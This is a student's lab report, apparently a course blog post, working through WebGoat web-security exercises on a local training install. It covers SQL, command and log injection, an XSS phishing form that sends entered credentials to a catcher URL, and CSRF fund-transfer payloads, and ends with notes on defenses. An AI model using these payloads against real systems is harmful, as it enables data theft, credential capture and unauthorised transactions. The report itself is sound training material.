2019-2020-2 20175105王鑫浩《网络对抗技术》Exp9 Web安全基础

2019-2020-2 20175105王鑫浩《网络对抗技术》Exp9 Web安全基础

一、基础知识

  • SQL注入
    • 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    • 就是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
  • XSS攻击
    • 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。
    • XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。
  • CSRF攻击
    • Cross Site Request Forgery跨站请求伪造
    • CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中。攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证。只要攻击者能够得到Session,就可以伪装成被害者进入服务器。
    • 主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码。

二、实验步骤

(一)安装WebGoat

下载Jar包webgoat-container-7.0.1-war-exec.jar

使用java -jar webgoat-container-7.0.1-war-exec.jar命令开启WebGoat

打开浏览器,输入localhost:8080/WebGoat,登录

(二)注入攻击:Injection Flaws

  • 命令注入:Command Injection

左侧功能栏选中Injection Flaws—>Command Injection,右键点击页面,选择inspect Element审查网页元素对源代码选择Edit At Html进行修改,添加"& netstat -an & ipconfig"

点击view,查看执行指令后的网络端口使用情况和IP地址

  • 数字型注入:Numeric SQL Injection

右键点击页面,选择inspect Element审查网页元素对
在Value值101中添加or 1=1,点击Go!显示所有天气数

  • 日志欺骗:Log Spoofing

左侧功能栏选中Injection Flaws—>Log Spoofing,在User Name输入webgoat%0d%0aLogin Succeeded for username: 20175105

  • 字符串注入:String SQL Injection

输入查询的用户名mark' or 1=1--select表里面的所有数据

  • LAB: SQL Injection

对源代码maxlength进行修改后,输入密码' or 1=1 --登录

  • Database Backdoors(数据库后门)

在用户ID输入两个语句101; update employee set salary=10000使用;分隔

(三)XSS攻击

  • XSS 钓鱼:Phishing with XSS

在搜索框输入如下代码

</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>


在产生的用户名和密码输入框中,输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat

  • 存储型XSS攻击:Stored XSS Attacks

在title中输入任意字符,留言板中输入alert("Stored XSS Attacks,20175105.");,点击生成的message。

  • 反射型XSS攻击:Reflected XSS Attacks

在Enter your three digit access code框中输入alert("Reflacted XSS Attacks, 20175105");,点击Purchase

CSRF攻击

  • 跨站请求伪造:Cross Site Request Forgery (CSRF)

查看页面右侧Parameters中的src和menu值

在message框中输入 <img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=1888" width="1" height="1" />

  • 绕过 CSRF 确认:CSRF Prompt By‐Pass

在title框中随意输入,message框中输入代码:

<iframe src="attack?Screen=323&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=323&menu=900&transferFunds=CONFIRM"> </iframe>


三、问题回答

1.SQL注入攻击原理,如何防

  • 原理:

    Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

  • 防御:

    使用正则表达式过滤传入的参数;检查是否包函非法字符,在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等

2.XSS攻击的原理,如何防御

  • 原理:

    XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

  • 防御:

    当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。

3.CSRF攻击原理,如何防御

  • 原理:

    通过伪装来自受信任用户的请求来利用受信任的网站,挟制用户在当前已登录的Web应用程序上执行非本意的操作

  • 防御:

    对于web站点,将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field),这将帮助网站防止这些攻击。一种类似的方式是在form中包含秘密信息、用户指定的代号作为cookie之外的验证。

    另一个可选的方法是“双提交”cookie。此方法只工作于Ajax请求,但它能够作为无需改变大量form的全局修正方法。如果某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。如果服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域,因为其它域是不能从信任域读取cookie的。

实验中遇到的问题

  • 安装WebGoat时,提示无法安装

  • 重新配置安装JDK文件

实验体会

本次实验比较简单,而且环境配置基本上全部由WebGoat提供,实验过程中,学习到了各种Web攻击的基本操作方法,感触很深。

posted @ 2020-05-30 22:28  20175105鑫浩  阅读(167)  评论(0编辑  收藏  举报
}